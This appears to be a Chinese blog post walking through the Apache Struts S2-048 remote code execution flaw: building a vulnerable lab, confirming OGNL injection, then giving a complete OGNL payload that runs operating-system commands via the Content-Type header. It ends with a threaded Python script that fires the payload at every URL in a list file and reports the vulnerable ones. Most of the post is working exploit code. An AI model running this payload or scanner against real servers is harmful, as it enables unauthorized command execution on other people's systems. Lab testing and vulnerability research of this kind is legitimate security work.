Struts-S2-048漏洞测试

这个是7月份爆出的漏洞了。

可以远程执行代码,想想就很厉害的样子。

一、环境搭建。

tomcat  /  jdk   /Struts-2.3.24-apps.zip

tomcat和jdk直接跳过了   包含漏洞环境的安装包下载地址:http://download.csdn.net/download/qq1124794084/9969407

下载解压完成后,把struts2-showcase.war包放在 webapp目录下,然后重启tomcat就自动解压了

这时就可以通过浏览器直接访问漏洞触发点http://ip地址:8080/struts2-showcase/index.action

Gangster Name这个地方就是漏洞的触发点了。 我们试试用OGNL表达式,例如${9/3}

可以看到${9/3}被执行了。



所以我们可以在提交这个请求的时候截包,修改为我们漏洞利用的代码。

截包后我们把Content-type修改为我们的POC代码

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
POC是我网上找的。


可以看到,我在POC中请求执行cmd的ipconfig命令,,结果返回了。



python s-048测试脚本:

# -*- encoding: utf-8 -*-
import requests
import threading
def poc(url):
    header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36",
    "Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo struts-048').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}"
    }
    data = {'name':'name=%24%7B9%2F3%7D&age=111&__checkbox_bustedBefore=true&description=111'}
    try:
        r = requests.post(url,headers=header,data=data,timeout=5)
        html = r.text
    except:
        html = ""
    if "struts-048" in html:
        print "[%s]发现Struts 048漏洞"%url


    
if __name__ == "__main__":
    with open("url.txt","r") as f:
        urls = f.readlines()
        for url in urls:
            threading.Thread(target=poc,args=(url,)).start()
            



 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值